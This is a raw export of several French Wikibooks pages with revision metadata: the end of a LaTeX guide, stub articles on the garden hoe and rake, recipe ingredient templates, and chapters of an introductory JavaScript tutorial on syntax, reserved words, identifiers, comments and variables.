sur ». Et rappelez-vous que lorsque vous utilisez des références, vous devez exécuter ''latex'' une nouvelle fois pour résoudre les références croisées. === Pages multicolonnes === === Mise en forme des pages d'un manuel === === Sommaire === Ce guide est relativement court, et cela est dû en grande partie au fait que la philosophie de Latex est de laisser le rédacteur se concentrer sur le contenu, et de prendre en charge (en utilisant éventuellement des classes appropriées développées par des typographes) l'organisation de la présentation. La prochaine étape pour mieux maîtriser l'organisation de la présentation d'une page est de commencer concevoir votre propre classe. Malheureusement, ce n'est pas une tâche aisée, et ce fardeau est souvent laissé aux professionnels! Houe 6540 29171 2006-01-17T16:53:24Z Zivax 1021 Bannière [[Catégorie:Outil de jardinage]] {{ébauche}} Pour le jardinier, la houe est un outil indispensable pour tous les travaux de jardin, y compris pour retirer les souches des arbustes, creuser de petits canaux, etc... Dans tous les modèles présentés dans le commerce, il convient de faire un choix judicieux adapté à l’utilisation, au sol à travailler, ainsi qu’à la stature de celui qui l'utilisera. Les socs de houes les plus larges demandent davantage d'efforts mais le rendement sera meilleur sur un terrain léger que sur lun terrain compacte. == Définition == Outil agricole manuel et individuel, utilisé pour la culture des champs et indispensable pour effectuer de nombreux travaux de jardinage, notamment pour remuer et émietter la terre après bêchage. Outil indispensable pour butter les pommes de terre, et creuser le sol pour effectuer des plantations. == Désignations == *'''''Dénominations''':'' outil agricole ou outil de jardin *'''''Différents noms utilisés pour les lames pleines :''''' #''Marre'' pour la culture des oignons et l’entretien des sols en Médoc #''Hoyau'', ''Bêchoir'', ''Déchaussoir'', ''Besoche'', ''Féchou'', ''Ecobue'', ''Bêchard'', ''Essade'', ''Moutardelle''... #''Trinque'' dans le midi *'''''Différents noms utilisés pour les lames crochues :''''' # Bigot ou bigorne en Provence # Mègle en Bourgogne == Descriptions == *'''''Descriptif :''''' Outil agricole, constitué d'un soc en acier au carbone forgé à chaud, muni d'un manche en bois, ayant une profondeur de travail de 15 centimètres environ. *'''''Longueur totale :''''' entre 100 et 120 centimètres *'''''Largeur du soc :''''' entre 12 et 15 centimètres *'''''Matériaux utilisés :''''' fer ; bois de frêne == Historique == La houe est un des plus anciens outils utilisé depuis le néolithique. Tout au long des siècles, elle apparaît sous différentes formes et réussie à s’adapter aux spécificités de chaque région. Sa forme première a peu évoluée si ce n’est que dans l’utilisation de nouveaux matériaux dans sa fabrication. Objet essentiellement agraire à l’époque égyptienne, il prend toute son importance dans notre pays vers le milieu du XIX ème siècle en adéquation avec le développement des jardins familiaux. ==Galerie== {{message galerie}}<gallery> Image:XXX.JPG|XXX Image:XXX.JPG|XXX Image:XXX.JPG|XXX Image:XXX.JPG|XXX </gallery> Photos à rajouter == Autres houes == *Houe lorraine *Houette : Outil en acier forgé sans manche idéal pour sarcler des parterres de fleurs, d’une longueur de 40 centimètres. Modèle:Message galerie 6542 29160 2006-01-17T14:15:38Z Zivax 1021 Modèle Cliquer sur une image pour l'agrandir. Modèle:Fait 6543 29164 2006-01-17T14:57:00Z Boly38 136 import depuis wikipedia fr [[Image:Yes.png|25px|Fait]] Râteau 6545 29170 2006-01-17T16:44:29Z Zivax 1021 /* Définition */ [[de:Rechen]] [[en:Rake (tool)]] [[nl:Hark]] [[uk:Граблі]] [[Catégorie:Outil de jardinage]] {{ébauche}} [[Image:Hark (rake).jpg|thumb|right|200px|Un rateau posé contre un mur]] Pour le jardinier, le '''râteau à main''' est un outil indispensable pour ramasser les feuilles mortes ou bien à émietter et aplanir un terrain préalablement béché. Dans tous les modèles présentés dans le commerce, il convient de faire un choix judicieux adapté à l’utilisation. == Définition == Le '''râteau à main''' est un outil manuel et individuel de jardinier. Il est composé d'une traverse sur laquelle sont fixées de nombreuses dents verticales en bois ou en acier au bout duquel est fixé un manche allongé en bois ou en acier inoxydable muni ou pas de poignées en mousse. Il peut servir à ramasser les feuilles mortes ou bien à émietter et aplanir un terrain préalablement béché. Certains râteaux sont équipés de lames permettant d'aérer les pelouses en enlevant la [[mousse (botanique)|mousse]]. Il existe également des râteaux à lames flexibles disposées en éventail conçus pour ramasser les feuilles mortes et les coupes de [[gazon]]. == Désignations == *'''''Dénominations''':'' outil de jardin *'''''Différents noms utilisés''''' == Descriptions == *'''''Descriptif :''''' Outil de jardin, constitué de 12, 14 ou 16 dents en acier, muni d'un manche en bois, ou en acier inoxydable muni ou pas de poignées en mousse, ayant une largeur de travail de 30 centimètres environ. *'''''Longueur totale :''''' entre 120 et 150 centimètres *'''''Largeur de travail :''''' entre 30 et 40 centimètres *'''''Matériaux utilisés :''''' fer ; bois de frêne ou matériaux inoxydable. == Historique == Le mot "râteau" est issu du latin "raster", rastum, raster bidens chez les Romains, signifiant "râteau". Le '''râteau à main''' est un outil récent, utilisé depuis le XVI ème siècle servait à ratisser le foin à la bonne saison. Tout au long de ces derniers siècles, il apparaît sous différentes formes et réussie à s’adapter aux spécificités de chaque région. Sa forme première a peu évoluée si ce n’est que dans l’utilisation de nouveaux matériaux dans sa fabrication. Objet essentiellement utile, il prend toute son importance dans notre pays vers le milieu du XIX ème siècle en adéquation avec le développement des jardins familiaux. ==Galerie== {{message galerie}}<gallery> Image:XXX.JPG|XXX Image:XXX.JPG|XXX Image:XXX.JPG|XXX Image:XXX.JPG|XXX </gallery> Photos à rajouter == Autres râteaux == *Râteau à gazon : en forme d'éventail, il est utilisé pour le ramassage des feuilles. *Râteau –étrier : utilisé pour le ramassage des feuilles et de scarificateur manuel. *Râteau à fleurs : Râteau comportant 4 ou 5 dents et un manche court, il utilisé pour néttoyer les pots de fleurs ou peigner les racines avant rempotage. *Balai- râteau : en forme d'éventail, il utilisé pour le ramassage des feuilles dans les endroits difficiles d'accès. *Râteau empileur : utilisé dans l'agriculture, la Pêche et l'aquaculture Catégorie:Outil de jardinage 6547 29230 2006-01-18T12:14:29Z Zivax 1021 Validation [[catégorie:outillage]] Modèle:Ingrédient carotte 6548 29258 2006-01-18T14:49:33Z Boly38 136 hauteur à 30px <div style="float:left;border:solid #909090 1px;margin:1px"> {| cellpadding="1" cellspacing="0" style="width:238px;background-color:#d0ffe0;" |- | style="width:45px;height:30px;background-color:#fff;text-align:center;font-size:14pt" | [[Image:Carotte.JPG|45px|Carotte]] | style="font-size:8pt;padding:4pt;line-height:1.25em" align="center" | {{{1}}} carotte(s). |} </div> <noinclude>[[Catégorie:Boîte ingrédient|Carotte]]</noinclude> Modèle:Recette 6549 29236 2006-01-18T13:53:26Z Boly38 136 création à partir de WP:Modèle:Boîte Utilisateur <noinclude>{{ArticlePrincipal|Wikilivres:Modèles/Recette}} </noinclude> {|align="right" style="width:242px;margin-left:1em;margin-bottom:0.5em;border:solid 1px #99B3FF;background-color:#FFFFFF;-moz-border-radius: 0.6em" |{{Ingrédient {{{1}}}}}{{Ingrédient {{{2|}}}}}{{Ingrédient {{{3|}}}}}{{Ingrédient {{{4|}}}}}{{Ingrédient {{{5|}}}}}{{Ingrédient {{{6|}}}}}{{Ingrédient {{{7|}}}}}{{Ingrédient {{{8|}}}}}{{Ingrédient {{{9|}}}}}{{Ingrédient {{{10|}}}}}{{Ingrédient {{{11|}}}}}{{Ingrédient {{{12|}}}}}{{Ingrédient {{{13|}}}}}{{Ingrédient {{{14|}}}}}{{Ingrédient {{{15|}}}}}{{Ingrédient {{{16|}}}}}{{Ingrédient {{{17|}}}}}{{Ingrédient {{{18|}}}}}{{Ingrédient {{{19|}}}}}{{Ingrédient {{{20|}}}}}<div align="right" style="position:float;float:right"><small>[[Wikilivres:Modèles/Recette|Recette]]</small></div> |}<noinclude> [[Catégorie:Boîte ingrédient|*]] [[Catégorie:Modèle|Recette]] </noinclude> Modèle:Carotte 6550 29238 2006-01-18T13:54:44Z Boly38 136 [[Modèle:Carotte]] déplacé vers [[Modèle:Ingrédient carotte]]: +Ingrédient en début d'ingrédient #REDIRECT [[Modèle:Ingrédient carotte]] Modèle:Ingrédient 6551 29239 2006-01-18T13:57:23Z Boly38 136 modèle à presque vide (utile pour [[Modèle:Recette]], ne pas supprimer) <span/> Modèle:ArticlePrincipal 6552 29240 2006-01-18T14:01:30Z Boly38 136 création modèle (version simple depuis WP FR) ''Pour plus d'informations, lisez l'article principal : '''{{{1}}}''''' Modèle:Article principal 6553 29241 2006-01-18T14:02:42Z Boly38 136 +redirect #REDIRECT [[Modèle:ArticlePrincipal]] Modèle:Ingrédient carotte/3 6554 29244 2006-01-18T14:08:47Z Boly38 136 +lien père <noinclude>< [[:Modèle:Ingrédient carotte|carotte]]</noinclude>{{Ingrédient carotte|3}} Modèle:Ingrédient oignon 6555 29259 2006-01-18T14:49:54Z Boly38 136 hauteur à 30px <div style="float:left;border:solid #909090 1px;margin:1px"> {| cellpadding="1" cellspacing="0" style="width:238px;background-color:#d0ffe0;" |- | style="width:45px;height:30px;background-color:#fff;text-align:center;font-size:14pt" | [[Image:Onion 2.JPG|45px|Oignon]] | style="font-size:8pt;padding:4pt;line-height:1.25em" align="center" | {{{1}}} oignon(s). |} </div> <noinclude>[[Catégorie:Boîte ingrédient|Oignon]]</noinclude> Catégorie:Boîte ingrédient 6556 29246 2006-01-18T14:13:24Z Boly38 136 création inspirée de WP FR Catégorie:Boîte Utilisateur Cette catégorie recense les différents modèles à utiliser avec le modèle {{m|Recette}}. Article principal: [[Wikilivres:Modèles/Recette]]. {{CategoryTOC}} [[Catégorie:Modèle]] Catégorie:Modèle 6557 29247 2006-01-18T14:15:54Z Boly38 136 Création inspirée de WP fr {{ArticlePrincipal|[[Wikilivres:Modèles]]}} Tout ce qui concerne l'utilisation des modèles ''Nota bene'' : pour catégoriser un modèle sans que cela ne se répercute sur toutes les pages qui l'appellent, il faut placer la catégorie entre balises <nowiki><noinclude></nowiki> et <nowiki></noinclude></nowiki> [[Catégorie:Maintenance Wikilivres|Modèle]] Modèle:Ingrédient oignon/2 6558 29249 2006-01-18T14:18:18Z Boly38 136 création <noinclude>< [[:Modèle:Ingrédient oignon|oignon]]</noinclude>{{Ingrédient oignon|2}} Wikilivres:Modèles/Recette 6561 29255 2006-01-18T14:44:55Z Boly38 136 +notice en cours (en cours de conception, voir [[Discuter:Livre de cuisine]]) Livre de cuisine 6563 29257 2006-01-18T14:45:58Z Boly38 136 +redirect #redirect [[Livre de Cuisine]] Programmation JavaScript/Sommaire 6564 30939 2006-01-31T09:04:24Z Gmarzin 1053 ==='''[[Programmation JavaScript/Sommaire|Sommaire]]'''=== <small> #[[Programmation JavaScript/Introduction|Introduction]] [[Image:100%.png]] #[[Programmation JavaScript/Présentation|Présentation]] #[[Programmation JavaScript/Syntaxe|Syntaxe]] [[Image:50%.png]] ##[[Programmation JavaScript/Ligne d'instruction|Ligne d'instruction]] [[Image:100%.png]] ##[[Programmation JavaScript/Bloc d'instructions|Bloc d'instructions]] [[Image:100%.png]] ##[[Programmation JavaScript/Identificateurs|Identificateurs]] [[Image:100%.png]] ##[[Programmation JavaScript/Expression littérale|Expression littérale]] [[Image:100%.png]] ##[[Programmation JavaScript/Commentaire|Commentaire]] [[Image:100%.png]] ##[[Programmation JavaScript/Mots réservés|Mots réservés et constantes]] [[Image:100%.png]] ##[[Programmation JavaScript/Variables|Variables]] [[Image:100%.png]] ##[[Programmation JavaScript/Opérateurs|Opérateurs]] [[Image:100%.png]] ##[[Programmation JavaScript/Structures de contrôle|Structures de contrôle]] [[Image:100%.png]] ###[[Programmation JavaScript/Structures de contrôle#if else|if else]] ###[[Programmation JavaScript/Structures de contrôle#? :|? :]] ###[[Programmation JavaScript/Structures de contrôle#switch case|switch]] ###[[Programmation JavaScript/Structures de contrôle#for|for]] ###[[Programmation JavaScript/Structures de contrôle#while|while]] ###[[Programmation JavaScript/Structures de contrôle#do|do]] ##[[Programmation JavaScript/Fonctions utilisateur|Fonctions utilisateur]] [[Image:100%.png]] ##[[Programmation JavaScript/Objets prédéfinis|Objets prédéfinis]] [[Image:00%.png]] ###[[Programmation JavaScript/Références/Objets/Array|Array (tableaux)]] [[Image:100%.png]] ##[[Programmation JavaScript/Fonctions prédéfinies|Fonctions prédéfinies]] #[[programmation JavaScript/Mise en oeuvre|Mise en oeuvre]] #[[Programmation JavaScript/Programmation avancée|Programmation avancée]] ##[[Programmation JavaScript/Opérateurs de bits|Opérateurs de bits]] ##[[Programmation JavaScript/Programmation objet|Programmation objet]] ##[[Programmation JavaScript/Gestion d'evennements|Gestion d'évennements]] ##[[Programmation JavaScript/Exceptions et erreurs|Exceptions et erreurs]] ##[[Programmation JavaScript/Interface DOM|Interface DOM]] ##[[Programmation JavaScript/Objets Microsoft|Objets Microsoft]] ##[[Programmation JavaScript/Applets Java|Applets Java]] #[[Programmation JavaScript/Exemples|Exemples commentés]] #[[Programmation JavaScript/Références|Références]] ##[[Programmation JavaScript/Références des évènements|Évènements]] ##[[Programmation JavaScript/Références/Objets|Objets Javascript]] ##[[Programmation JavaScript/Références des liens|Liens]] </small> Programmation JavaScript/Ligne d'instruction 6567 42988 2006-05-22T13:24:44Z Poss Jean-Louis 1555 /* Regroupement des lignes d'instructions en blocs */ {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Bloc d'instructions|Bloc d'instructions >>]] ==Composition d'une ligne d'instruction== Une ligne d'instruction javascript est constituée d'une combinaison de [[programmation JavaScript/Mots réservés|mots réservés]], [[programmation JavaScript/Identificateurs|identificateurs]], [[programmation JavaScript/Variables|variables]], [[programmation JavaScript/Opérateurs|opérateurs]], [[programmation JavaScript/Expression littérale|expressions littérales]], appels de fonctions, [[programmation JavaScript/Commentaire|commentaires]]... <br/> ==Délimitation des lignes d'instruction== Une instruction s'achève lorsqu'une autre instruction commence.<br/> En règle générale, on rencontre une ligne d'instruction par ligne de texte. Pour écrire plusieurs instructions sur une même ligne, il est nécessaire de les séparer avec un point-virgule ( ; ). Par habitude, on met souvent des point-virgules à la fin de toutes les instructions en JavaScript mais il faut savoir que leur absence n'est pas une erreur de syntaxe. {{Cadre code|Juxtaposition d'instructions| <pre> s1="trois "; s2="mots "; s3="concaténés"; alert(s1+s2+s3); </pre> }} La même, répartie sur plusieurs lignes {{Cadre code|Répartition| <pre> alert( "trois " + "mots " + "concaténés" ); </pre> }} Cette présentation permet d'intégrer des [[programmation JavaScript/Commentaire|commentaires]] en regard de la ligne : {{Cadre code|Commentaires| <pre> alert( "trois " // Premier commentaire + "mots " /* Commentaire autre style */ + "concaténés" // troisième commentaire ); </pre> }} Ces trois exemples provoquent l'affichage d'une boite d'avertissement munie de la chaîne "trois mots concaténés". Leur présentation diffère en fonction des besoins d'expressivité et de lisibilité du code tel que voulu par le programmeur. ==Regroupement des lignes d'instructions en blocs== Les lignes d'instructions sont regroupées en [[programmation JavaScript/Bloc d'instructions|blocs d'instructions]] délimités par des accolades. '''Note :''' javascript '''différencie les majuscules et les minuscules'''. Il convient donc d'être vigilant sur ce point lors de l'écriture des lignes d'instructions pour s'éviter de longues séances de débogage. [[Programmation JavaScript/Bloc d'instructions|Bloc d'instructions >>]] Programmation JavaScript/Bloc d'instructions 6568 42989 2006-05-22T13:27:26Z Poss Jean-Louis 1555 {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Identificateurs|Identificateurs >>]] Les blocs d'instructions javascript sont constitués d'instructions placées entre une accolade ouvrante ( '''{''' ) et une accolade fermante ( '''}''' ).<br/> Un bloc d'instructions est obligatoirement introduit par un des éléments suivants: * une déclaration de fonction. * une définition de boucle (for, switch, while, do while). * une définition de structure de branchement conditionnel comme if * une définition de structure de branchement alternatif comme else ==Exécution séquentielle== À l'intérieur d'un bloc, les instructions sont exécutées séquentiellement, à moins de l'apparition du mot réservé return (dans une fonction) ou du mot réservé break (dans certaines structures de branchement conditionnelles) ou de l'occurence d'une erreur.<br/> ==Inclusion de blocs== Un bloc d'instructions peut lui-même contenir d'autres blocs, généralement des structures conditionnelles ou itératives, mais aussi des déclarations de fonctions imbriquées. {{Cadre code|Inclusion de blocs| <pre> function main() { // Le début du bloc principal de la fonction function locale() { // Début d'un bloc imbriqué alert("Exécution d'une sous fonction") } } </pre> }} [[Programmation JavaScript/Identificateurs|Identificateurs >>]] Programmation JavaScript/Mots réservés 6570 39783 2006-04-07T10:06:24Z 194.250.175.35 /* false */ {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Variables|Variables >>]] Cet article va passer en revue les mots réservés et constantes prédéfinies de javascript.<br/> La norme [http://www.ecma-international.org/publications/standards/Ecma-262.htm ECMA 262], définit les mots réservés de javascript en deux catégories : <br/> *les mots réservés (''break else new var case finally return void catch for switch while continue function this with default if throw delete in try do instanceof typeof'')<br/> *les futurs mots réservés (''abstract enum int short boolean export interface static byte extends long super char final native synchronized class float package throws const goto private transient debugger implements protected volatile double import public'').<br/> On ne doit pas utiliser un mot réservé comme identificateur de fonction ou de variable. Celà provoque une erreur. Mais comme le langage différencie les majuscules et minuscules, il est possible de mettre en majuscule une lettre pour rendre l'identificateur utilisable.<br/> On peut, avec la plupart des navigateurs utiliser un futur mot réservé comme identificateur, mais celà est déconseillé, car le programme ne fonctionnera probablement plus à l'apparition d'une version future de javascript. Voici une description sommaire des mots réservés: ==Mots réservés== ===var=== Déclaration d'une [[Programmation JavaScript/Variables|variable]] locale, avec ou sans affectation. <pre> var ma_variable; var ma_variable = "Je suis affecté"; </pre> ===function=== Déclaration d'une [[Programmation JavaScript/Fonctions utilisateur|fonction utilisateur]]. <pre> function ma_fonction() { alert("Je suis exécuté dans ma_fonction"); } </pre> ===void=== [[Programmation JavaScript/Opérateurs#Opérateur void|Opérateur]] ===return=== Employé dans une [[Programmation JavaScript/Fonctions utilisateur|fonction]], provoque le retour au programme appelant avec renvoi facultatif d'un résultat. <pre> function ma_fonction(aparam) { s = ""; if (aparam == "") return; // Sortie sans renvoyer de résultat else s = "Le résultat"; return s; // Renvoie le contenu de s } </pre> ===if=== Permet de définir l'exécution [[Programmation JavaScript/Structures de contrôle#if else|conditionnelle]] d'instructions ou d'un bloc d'instructions. Peut-être utilisé conjointement à else. <pre> a = 5; if (a==5) alert("la condition est remplie"); </pre> ===else=== Utilisé conjointement à [[Programmation JavaScript/Structures de contrôle#if else|if]], permet d'exécuter des instructions alternativement au résultat de la condition spécifiée par if. <pre> a = 5 if (a==5) alert("a est égal à 5"); else alert("a est différent de 5"); </pre> ===switch=== Utilisé conjointement à case, permet d'implanter un [[Programmation JavaScript/Structures de contrôle#switch case|sélecteur de cas]]. <pre> function test(condition) { switch(condition) { case "1": alert("condition='1'"); break; case "3": alert("condition='3'"); break; case "5": alert("condition='5'"); break; } } </pre> ===case=== Utilisé à l'intérieur d'un bloc [[Programmation JavaScript/Structures de contrôle#switch case|switch]], constitue un des choix du selecteur. ===break=== Utilisé à l'intérieur d'un bloc [[Programmation JavaScript/Structures de contrôle#switch case|switch]], permet de sortir du sélecteur sans procéder tests suivants. Utilisé à l'intérieur d'une boucle telle un bloc [[Programmation JavaScript/Structures de contrôle#for case|switch]], permet de quitter la boucle immédiatement. ===default=== Utilisé à l'intérieur d'un bloc [[Programmation JavaScript/Structures de contrôle#switch case|switch]], constitue l'option par défaut du selecteur. ===for=== Introduit une [[Programmation JavaScript/Structures de contrôle#for|boucle itérative]]. <pre> for (i=0;i<5;i++) { alert(i); } </pre> ===in=== Utilisé optionnellement dans un boucle [[Programmation JavaScript/Structures de contrôle#for|for]]. Suivre le [[Programmation JavaScript/Structures de contrôle#for|lien]] pour plus de détails. ===do=== Introduit une boucle itérative conditionnelle avec test effectué à chaque tour par while: <pre> i=0 do { i++ alert(i); // Affichera 1, puis 2, puis 3, puis 4, puis 5 } while(i<5); </pre> ===while=== Introduit une boucle itérative conditionnelle: <pre> i=0 while(i<5) { i++; // Incrémenter i alert(i); // Affiche 1, puis 2, puis 3, puis 4, puis 5 } </pre> ===continue=== Utilisé dans une boucle for, while et do, permet de sauter un tour. <pre> for (i=-2;i<=2;i++) { if (i==0) continue; // Si i == 0, on passe directement à 1 alert(5/i); // On évite ainsi la division par zero. } </pre> ===try catch throw finally=== Constituent le coeur du mécanisme de gestion des exception javascript. ===new=== Permet l'instanciation d'un objet. <pre> var mon_tableau = new Array(); </pre> ===this=== Permet à un objet de faire référence à lui-même. ===with=== Permet de simplifier la référence aux propriétés et méthodes des objets en précédent un bloc d'instruction dans lequel il n'est pas nécessaire de répéter le nom de l'objet à chaque invocation. <pre> with(navigator) { alert(appName + " " + appVersion); } </pre> est équivalent à <pre> alert(navigator.appName + " " +navigator.appVersion); </pre> ===instanceof=== Ce mot réservé se comporte comme un opérateur Booleén, et permet de tester si une variable est une instance d'un objet: <pre> t = new Array(); alert(t instanceof Array); // Affiche true alert(t instanceof Date); // Affiche false </pre> Note : 20/01/2006 Ce paragraphe est à creuser davantage pour délimiter le champ d'application d'instanceof, en particulier son comportement avec les objets DOM et les objets définis par l'utilisateur, et comment il prend en compte le mécanisme d'héritage.<br/> Donc : relire Ecma, tester sur les navigateurs.... ===typeof=== Ce mot réservé se comporte comme une fonction et renvoie le type de la variable placée à droite.<br/> Les valeurs renvoyées par typeof correspondent aux types de varables javascript, soit : boolean string number function object undefined.<br/> Tel quel, typeof traite les entités simples: <pre> alert(typeof "Une chaîne"); // Renvoie "string" alert(typeof true); // Renvoie "boolean" n = 10; alert(typeof n); // Renvoie "number" tab = new Array(); alert(typeof tab); // Renvoie "object" var x; alert(typeof x); // Renvoie "undefined" </pre> Une autre syntaxe utilisant les parenthèses est possible, et peut traiter des expressions: <pre> alert(typeof(3/0)) // Renvoie "number" </pre> ===delete=== Ce mot réservé se comporte comme une fonction et permet de suprimer une variable dont le nom est placé à droite: <pre> t = new Array(); alert(typeof t); // Affiche "object" delete t; alert(typeof t); // Affiche "undefined" </pre> On peut alternativement écrire en utilisant des parenthèses. <pre> delete(t); </pre> ==Futurs mots réservés== Les versions futures de javascript intègreront peut-être un ou plusieurs mots réservés parmis la liste suivante.<br/> <pre> abstract enum int short boolean export interface static byte extends long super char final native synchronized class float package throws const goto private transient debugger implements protected volatile double import public </pre> Il est déconseillé de les employer comme identificateurs dans les programmes actuels, sous peine de riquer un comportement bizarre dans le futur.<br/> ==Constantes prédéfinies== ===true=== Constante booléenne, toujours vrai. <pre> if (true) { alert("Je m'affiche toujours"); } </pre> ===false=== Constante Booléenne, contient la valeur '''faux'''. <pre> if (ma_bool == false) alert("C'est pas vrai...") </pre> ===null=== Constante avec laquelle nous pouvons initialiser une variable, afin qu'elle ne contienne pas de valeur au départ, et qu'on puisse le vérifier. <pre> var champ_formulaire = null; ... if (champ_formulaire == null) alert("Vous n'avez pas renseigné le champ du formulaire"); </pre> ===NaN=== Dans la langue de [[w:fr:Charles Babbage|Babbage]], Not a Number. Permet de tester si une entité n'est pas un nombre. <pre> s = "du texte"; alert(s/2); // affiche NaN </pre> ===infinity=== Cette constante est renvoyée, par exemple en résultat d'une division par 0. <pre> alert(1/0); // Affiche infinity </pre> [[Programmation JavaScript/Variables|Variables >>]] Programmation JavaScript/Identificateurs 6571 42998 2006-05-22T15:18:44Z Poss Jean-Louis 1555 /* Caractères interdits */ {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Expression littérale|Expression littérale >>]] La programmation javascript, comme tous les langages informatiques, demande au développeur de définir des identificateurs, et ceci dans deux cas : *pour nommer une fonction utilisateur *pour nommer une variable Pour construire notre identificateur nous pouvons utiliser des caractères autorisés, et devons proscrire les caractères interdits. De plus, certaines combinaisons sont interdites. Notre identificateur ne doit pas correspondre à un [[Programmation JavaScript/Mots réservés|mot réservé]]. Enfin, il est utile de se conformer à certaines recommandations en ce qui concerne le choix et l'orthographe de l'identificateur, pour renforcer l'expressivité du code. ==Principales règles== * Ne pas commencer par un chiffre * Ne pas utiliser de caractère interdit * Ne pas faire suivre un caractère accentué par un chiffre * Rester monobloc. Pas de caractère espace au milieu. * Vérifier que l'identificateur n'est pas un [[Programmation JavaScript/Mots réservés|mot réservé]]. * Garder en tête que javascript différencie les majuscules des minuscules ==Caractères autorisés== Tous les caractères sont autorisés, sauf ceux qui contreviennent aux règles précédentes et aux caractères interdits.<br/> * Les lettres de l'aphabet, majuscules et minuscules. * Les chiffres, sous réserve de ne pas commencer avec. * Les caractères accentués, avec limitations. * Certains caractères spéciaux : ($ _ ) * Les séquences d'échappement unicode de forme \uNNNN ==Caractères interdits== *Les ponctuations et certains symboles : (, . " ' €)... à compléter<br/> *Les caractères de contrôles obtenus par séquence d'échappement. [[Programmation JavaScript/Expression littérale|Expression littérale >>]] Programmation JavaScript/Commentaire 6572 31025 2006-01-31T17:59:50Z Gmarzin 1053 {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Mots réservés|Mots réservés >>]] Javascript permet d'insérer des commentaires dans les programmes, et ceci de deux mannières :<br/> *Syntaxe à double-slash (//) *Syntaxe slash-étoile (/* */) ==La syntaxe à double-slash.== Les caractères placés à droite du double-slash sont ignorés par l'interpréteur jusqu'à l'occurence d'un retour à la ligne. <pre> alert("message"); // Commentaire expliquant le rôle de l'instruction </pre> ==La syntaxe slash-étoile.== Les commentaires sont ouverts avec ( /* ) et fermés avec ( */ ) et donc ignorés par l'interpréteur. <pre> /* Commentaire sur une ligne */ /* Commentaire sur plusieurs lignes */ alert("message"); // Cette ligne est exécutée </pre> ==Intégration dans les lignes d'instruction== Les deux syntaxes de commentaire permettent de multiples modes d'inclusion dans le code: <pre> alert("deux " /*Le premier*/ + "mot" /*Le deuxième*/); // Inclusion dans les parametres alert("deux " // Le premier + "mot" /* Le deuxième*/); // Deux inclusions de commentaires </pre> [[Programmation JavaScript/Mots réservés|Mots réservés >>]] Programmation JavaScript/Variables 6573 40990 2006-04-26T18:05:04Z Touffy 1301 /* object */ {{Programmation JavaScript}} [[Programmation JavaScript/Sommaire| << Retour au sommaire détaillé]] / [[Programmation JavaScript/Opérateurs|Opérateurs >>]] Les variables permettent d'instancier un objet et de manipuler cette instance à l'aide d'un identificateur (le nom de la variable). Tous les identificateurs en JavaScript sont des références à un objet. Javascript étant un langage au typage dynamique, le type des objets n'est pas déclaré explicitement et il peut changer automatiquement. ==Typage dynamique== Il est donc possible de déclarer une variable sans lui définir de type. Ou plutôt, une variable déclarée de telle manière sera du type undefined.<br/> Tout au long de son utilisation, cette variable pourra changer de type sans que l'interpréteur n'y trouve rien à redire. <pre> var ma_versatile; // est undefined ma_versatile = "Je deviens une chaîne"; // devient string ma_versatile = 5; // devient number ma_versatile = new Array(); // devient object </pre> Il n'est en fait pas nécessaire de déclarer une variable (avec le mot-clé '''var'''). La différence est expliquée ci-après. ==Identificateur== Les règles d'élaboration des identificateurs sont décrites à [[Programmation JavaScript/Identificateurs|ce lien]]. Pour résumer, les identificateurs comportent des caractères alphanumériques et le tiret soulignant (_). Ils ne peuvent commencer par un chiffre, et les majuscules comptent. ==Portée== ===Propriétés=== L'instanciation directe (sans mot-clé var) d'un objet avec un identificateur donne souvent l'impression de créer une variable globale. En réalité, la notion de "variable globale" n'existe pas en JavaScript. Toutes les variables sont, sauf quand on les déclare avec '''var''', des propriétés d'un objet. Par défaut, cet objet est implicitement l'objet '''window''' (et non, '''window''' n'est pas une variable globale qui ferait exception à la règle car il est une de ses propres propriétés, c'est-à-dire que '''window''' est une propriété de '''window'''). Comme '''window''' reste l'objet implicite la plupart du temps, une variable créée ainsi pourra être employée comme si elle était globale : <pre> ma_variable = "une valeur"; function maFonction() { mon_autre_variable = "une autre valeur" } alert(mon_autre_variable) // affiche "une autre valeur" </pre> La variable mon_autre_variable est certes déclarée dans une fonction, mais il faut lire "window.mon_autre_variable" donc c'est une propriété de window et elle ne sera pas détruite automatiquement à la fin de la fonction. ===Sous-entendre un objet=== Pour économiser du code, il peut être intéressant de sous-entendre un autre objet que '''window'''. Cela se fait explicitement avec un bloc '''with'''. Sous-entendre un objet ne le rend pas systématiquement implicite. La résolution se fait aussitôt qu'une des conditions suivantes est remplie : * l'identificateur est une propriété existante de l'objet sous-entendu * l'identificateur est une variable locale * l'identificateur est une propriété existante de l'objet implicite s'il est différent de window * l'identificateur est une propriété existante de window Si aucune condition n'est remplie et que l'expression affecte une valeur à la variable, cette variable est créée comme propriété de l'objet sous-entendu. Si l'expression ne fait qu'utiliser la valeur, elle retournera simplement '''undefined'''. <pre>c=true d="propriété de window" with(monObjet) { a=2 b="texte" c=false // window.c existe donc va être utilisé // pour éviter que window.d soit utilisé, il faut être explicite monObjet.d="propriété de monObjet" } alert(a) // a n'est pas défini alert(monObjet.a) // affiche "2" alert(c) // affiche "false" alert(d) // affiche "propriété de window" alert(monObjet.d) // affiche "propriété de monObjet" </pre> ===Variables locales=== A l'aide de la primitive '''var''', il est possible de définir une variable locale, qui n'est pas une propriété d'un autre objet. Cette déclaration peut avoir lieu n'importe où dans le corps d'une fonction, pas nécessairement au début, mais seules les utilisation ultérieures de l'identificateur feront référence à la variable locale puisqu'elle n'existait pas avant. Comme toute variable locale, elle est automatiquement détruite à la fin de la fonction, bien que sa valeur puisse être sauvegardée dans certains cas. Par contre, elle ne peut pas être détruite par la primitive '''delete'''. <pre> function foo() { var loc_1 = 2 // n'a pas d'existence en dehors de foo() for (i = 0 ; i < loc_1; i++) { var loc_2 = 2 * loc_1; // loc_2 est disponible pour toute la fonction foo() alert(loc_2); } alert(loc_2); // S'affiche sans problème } alert(loc_2); // Provoque une erreur </pre> Si le mot-clé '''var''' est utilisé en-dehors de toute fonction, la variable sera utilisable dans tout le script. ==Types== Javascript est faiblement typé, mais typé quand même. Voici une revue des types que peut prendre une variable. Il est possible à tout moment de vérifier le type avec le mot réservé '''typeof'''. 